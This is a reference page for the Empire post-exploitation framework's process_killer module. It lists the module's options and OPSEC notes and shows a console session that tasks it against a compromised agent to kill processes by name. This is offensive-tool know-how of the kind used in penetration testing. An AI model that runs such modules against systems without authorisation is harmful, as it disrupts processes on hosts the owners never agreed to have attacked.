Invoke-ProcessKiller - Empire Module
This page contains detailed information about how to use the powershell/trollsploit/process_killer Empire module. For list of all Empire modules, visit the Empire Module Library.
Module Overview
Name: Invoke-ProcessKiller
Module: powershell/trollsploit/process_killer
Source code:
empire/server/modules/powershell/trollsploit/process_killer.yaml
MITRE ATT&CK:
T1491
Language: PowerShell
Needs admin: No
OPSEC safe: No
Background: Yes
The process_killer module kills any process starting with a particular name.
This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.
Note that the process_killer module does not need administrative privileges to work properly which means that a normal user can run this module.
Required Module Options
This is a list of options that are required by the process_killer module:
Agent
Agent to run module on.
ProcessName
Process name to kill on starting (wildcards accepted).
Sleep
Time to sleep between checks.
Additional Module Options
This is a list of additional options that are supported by the process_killer module:
Silent
Switch. Don't output kill messages.
Process_killer Example Usage
Here's an example of how to use the process_killer module in the Empire client console:
[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/windows/ducky) > usemodule powershell/trollsploit/process_killer
Author @harmj0y
Background True
Description Kills any process starting with a particular name.
Language powershell
Name powershell/trollsploit/process_killer
NeedsAdmin False
OpsecSafe False
Techniques http://attack.mitre.org/techniques/T1491
,Record Options-------,----------,-------------------------------------,
| Name | Value | Required | Description |
|-------------|-------|----------|-------------------------------------|
| Agent | | True | Agent to run module on. |
|-------------|-------|----------|-------------------------------------|
| ProcessName | | True | Process name to kill on starting |
| | | | (wildcards accepted). |
|-------------|-------|----------|-------------------------------------|
| Silent | | False | Switch. Don't output kill messages. |
|-------------|-------|----------|-------------------------------------|
| Sleep | 1 | True | Time to sleep between checks. |
'-------------'-------'----------'-------------------------------------'
(Empire: usemodule/powershell/trollsploit/process_killer) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/powershell/trollsploit/process_killer) > set ProcessName value
[*] Set ProcessName to value
(Empire: usemodule/powershell/trollsploit/process_killer) > set Sleep value
[*] Set Sleep to value
(Empire: usemodule/powershell/trollsploit/process_killer) > execute
[*] Tasked Y4LHEV83 to run Task 1
...
Now wait for the results to come.
Author
References
- https://github.com/BC-SECURITY/Empire/tree/master/empire/server/modules/powershell/trollsploit/process_killer.yaml
- http://attack.mitre.org/techniques/T1491
See Also
Check also the following modules related to this module:
- powershell/situational_awareness/network/powerview/process_hunter
- powershell/trollsploit/rick_ascii
- powershell/trollsploit/get_schwifty
- powershell/trollsploit/wlmdr
- powershell/trollsploit/rick_astley
- powershell/trollsploit/wallpaper
- powershell/trollsploit/message
- powershell/trollsploit/voicetroll
- powershell/trollsploit/thunderstruck
- powershell/management/start-processasuser
- python/trollsploit/osx/change_background
- python/trollsploit/osx/say
- python/trollsploit/osx/thunderstruck
- python/trollsploit/osx/login_message
Version
This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.
